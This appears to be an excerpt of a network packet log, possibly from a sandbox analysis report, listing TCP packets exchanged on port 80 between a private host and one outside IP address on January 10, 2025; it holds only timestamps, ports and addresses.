Jan 10, 2025 22:13:02.020701885 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.020714998 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.020720005 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.020730019 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.020745039 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.021514893 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.021529913 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.021543980 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.021549940 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.021558046 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.021573067 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.021576881 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.021586895 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.021603107 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.037911892 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.044485092 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.062282085 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.062377930 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.062380075 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.062392950 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.062407970 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.062422037 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.062447071 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.062460899 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.062469959 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.062474012 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.062488079 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.062501907 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.062510014 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.062536001 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.098890066 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.098920107 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.098934889 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.098965883 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.099004030 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.099009037 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.099070072 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.099076986 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.099093914 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.099107981 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.099119902 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.099167109 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.099173069 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.099188089 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.099201918 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.099215031 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.099229097 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.099236012 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.099242926 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.099258900 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.099282026 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.139991045 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.140002966 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.140014887 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.140026093 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.140048027 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.140079021 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.140080929 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.140113115 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.140125036 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.140158892 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.140201092 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.140213966 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.140225887 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.140238047 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.140249014 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.140286922 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.140330076 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.140377045 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.140434027 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.140444994 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.140456915 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.140466928 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.140476942 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.140491962 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.140537024 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.140600920 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.140646935 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.140738010 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.140769958 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.140780926 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.140791893 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.140803099 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.140813112 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.140815973 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.140825987 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.140836954 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.140837908 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.140851021 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.140858889 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.140876055 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.141052008 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.141103983 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.141104937 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.141115904 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.141128063 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.141170979 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.141382933 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.141400099 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.141423941 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.141431093 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.141436100 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.141457081 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.141474009 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.141474962 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.141495943 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.141508102 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.141515970 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.141529083 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.141535044 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.141541958 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.141561031 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.141561985 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.141573906 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.141592026 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.141602039 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.141613007 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.141613960 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.141624928 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.141638994 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.141648054 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.141649961 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.141661882 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.141673088 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.141693115 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.141726017 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.142400026 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.142416954 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.142429113 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.142440081 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.142450094 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.142467976 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.142463923 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.142481089 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.142484903 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.142492056 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.142503977 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.142513990 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.142524958 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.142524958 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.142535925 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.142548084 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.142554045 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.142559052 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.142570972 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.142582893 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.142594099 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.142601967 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.142604113 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.142616034 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.142627001 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.142653942 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.142653942 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.142692089 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.143107891 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.143274069 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.143285036 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.143295050 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.143306017 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.143322945 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.143333912 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.143337011 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.143337011 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.143345118 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.143362999 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.143374920 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.143384933 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.143393040 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.143395901 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.143407106 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.143419981 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.143423080 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.143423080 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.143431902 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.143443108 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.143450022 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.143462896 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.143464088 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.143477917 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.143485069 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.143487930 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.143501043 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.143547058 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.144074917 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.144093990 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.144105911 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.144145012 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.161943913 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.171478033 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.186288118 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.186319113 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.186331987 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.186347008 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.186347961 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.186379910 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.186398983 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.186412096 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.186424971 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.186434984 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.186446905 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.186448097 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.186459064 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.186491013 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.186691046 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.186702967 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.186714888 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.186726093 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.186737061 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.186748028 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.186749935 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.186765909 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.186770916 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.186779976 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.186791897 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.186819077 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.186985016 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.186996937 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.187011957 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.187021017 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.187031984 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.187066078 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.228475094 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.255490065 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.255553007 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.255563974 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.255575895 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.255585909 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.255597115 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.255601883 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.255608082 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.255619049 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.255620956 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.255635023 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.255657911 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.255712986 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.255723000 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.255733967 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.255744934 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.255755901 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.255758047 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.255768061 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.255779028 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.255784988 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.255789995 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.255810022 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.255832911 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.255959988 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.256001949 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.256084919 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.256097078 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.256108046 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.256119013 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.256129980 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.256135941 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.256143093 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.256151915 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.256155014 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.256169081 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.256181955 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.256227016 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.256356001 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.256367922 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.256403923 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.256447077 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.256458998 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.256468058 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.256479025 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.256489038 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.256500006 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.256508112 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.256531000 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.256640911 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.256732941 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.256742954 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.256753922 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.256763935 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.256774902 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.256781101 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.256788015 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.256809950 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.257010937 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.257020950 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.257033110 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.257042885 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.257054090 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.257060051 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.257066965 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.257078886 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.257087946 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.257101059 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.257119894 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.257200003 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.257234097 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.257245064 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.257291079 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.257314920 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.257348061 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.257359982 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.257381916 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.257431984 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.263149977 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.263161898 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.263173103 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.263183117 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.263194084 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.263204098 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.263210058 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.263215065 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.263226986 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.263238907 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.263248920 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.263252020 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.263259888 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.263271093 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.263273954 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.263283968 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.263284922 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.263297081 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.263309002 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.263329029 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.263348103 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.263546944 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.263556957 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.263566971 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.263587952 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.263619900 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.263663054 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.263680935 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.263691902 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.263704062 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.263715029 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.263720036 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.263726950 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.263739109 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.263765097 CET	49721	80	192.168.2.6	193.143.1.205
Jan 10, 2025 22:13:02.263910055 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.263921022 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.263932943 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.263942957 CET	80	49721	193.143.1.205	192.168.2.6
Jan 10, 2025 22:13:02.263953924 CET	80	49721	193.143.1.205	192.168.2.6
